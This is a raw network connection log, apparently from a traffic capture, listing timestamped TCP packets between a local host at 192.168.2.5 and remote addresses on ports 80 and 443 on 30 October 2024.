Oct 30, 2024 00:21:29.928755999 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928766966 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928833961 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928848028 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928873062 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928878069 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928896904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928905010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928920031 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928921938 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928935051 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928946972 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928961992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928962946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928977966 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928977966 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928994894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929004908 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929013014 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929022074 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929032087 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929038048 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929050922 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929065943 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929069996 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929078102 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929092884 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929105997 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929261923 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929321051 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929336071 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929337025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929358006 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929384947 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929395914 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929409981 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929428101 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929442883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929447889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929459095 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929460049 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929475069 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929485083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929485083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929490089 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929493904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929533958 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929562092 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929577112 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929590940 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929591894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929608107 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929608107 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929627895 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929640055 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929649115 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929655075 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929670095 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929682016 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929696083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929718018 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929740906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929771900 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929780960 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929790020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929811001 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929811954 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929825068 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929831982 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929840088 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929845095 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929856062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929862022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929872036 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929886103 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929886103 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929897070 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929919004 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929929018 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929944992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929959059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929966927 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.929996967 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.929997921 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930012941 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930012941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930037022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930047989 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930087090 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930100918 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930115938 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930140972 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930172920 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930275917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930290937 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930305958 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930330992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930351973 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930372000 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930387020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930402994 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930423975 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930438042 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930454016 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930478096 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930493116 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930495977 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930509090 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930521011 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930531979 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930546999 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930548906 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930557966 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930562019 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930569887 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930577993 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930582047 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930594921 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930598021 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930624008 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930634975 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930649996 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930665970 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930675030 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930700064 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930707932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930718899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930723906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930741072 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930742979 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930761099 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930768013 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930816889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930829048 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930852890 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930867910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930893898 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930907965 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.930958033 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930974007 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.930998087 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931001902 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931014061 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931014061 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931034088 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931034088 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931050062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931052923 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931066036 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931067944 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931082010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931094885 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931103945 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931123972 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931133032 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931149006 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931178093 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931191921 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931241989 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931257010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931273937 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931282043 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931293964 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931324005 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931365967 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931380987 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931396008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931406021 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931421041 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931437016 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931442976 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931463003 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931469917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931490898 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931493998 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931515932 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931515932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931531906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931545973 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931551933 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931551933 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931560040 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931574106 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931576967 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931591034 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931617022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931626081 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931626081 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931641102 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931655884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931673050 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931677103 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931688070 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931693077 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931705952 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931718111 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931744099 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931786060 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931799889 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931816101 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931828976 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931833982 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931858063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931885958 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931895971 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931900978 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.931935072 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931946993 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.931986094 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932001114 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932032108 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932046890 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932069063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932069063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932096004 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932112932 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932122946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932135105 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932157040 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932172060 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932185888 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932189941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932215929 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932226896 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932281017 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932295084 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932308912 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932324886 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932326078 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932341099 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932352066 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932357073 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932368994 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932394981 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932409048 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932419062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932434082 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932450056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932463884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932478905 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932490110 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932496071 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932506084 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932523012 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932537079 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.932544947 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932558060 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.932585001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933520079 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933535099 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933549881 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933567047 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933578014 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933584929 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933599949 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933612108 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933614969 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933619976 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933634043 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933640003 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933653116 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933669090 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933685064 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933700085 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933715105 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933729887 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933737040 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933756113 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933821917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933835030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933850050 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933862925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933864117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933872938 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933881044 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933897018 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933912039 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933912992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933927059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933936119 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933942080 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933955908 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933971882 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.933984041 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933984041 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.933985949 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934009075 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934015989 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934030056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934030056 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934046030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934058905 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934060097 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934070110 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934075117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934089899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934089899 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.934098959 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934119940 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.934139013 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.036780119 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.036878109 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.058089972 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.058139086 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.058398962 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.089097023 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089133978 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089178085 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089190960 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089210987 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089241028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089241028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089255095 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089272976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089303970 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089343071 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089349031 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089390993 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089401960 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089417934 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089431047 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089458942 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089477062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089503050 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089544058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089545012 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089570045 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089586973 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089610100 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089613914 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089639902 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089660883 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089679003 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089680910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089709044 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089732885 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089745998 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089756012 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089777946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089782000 CET	59802	80	192.168.2.5	185.215.113.16
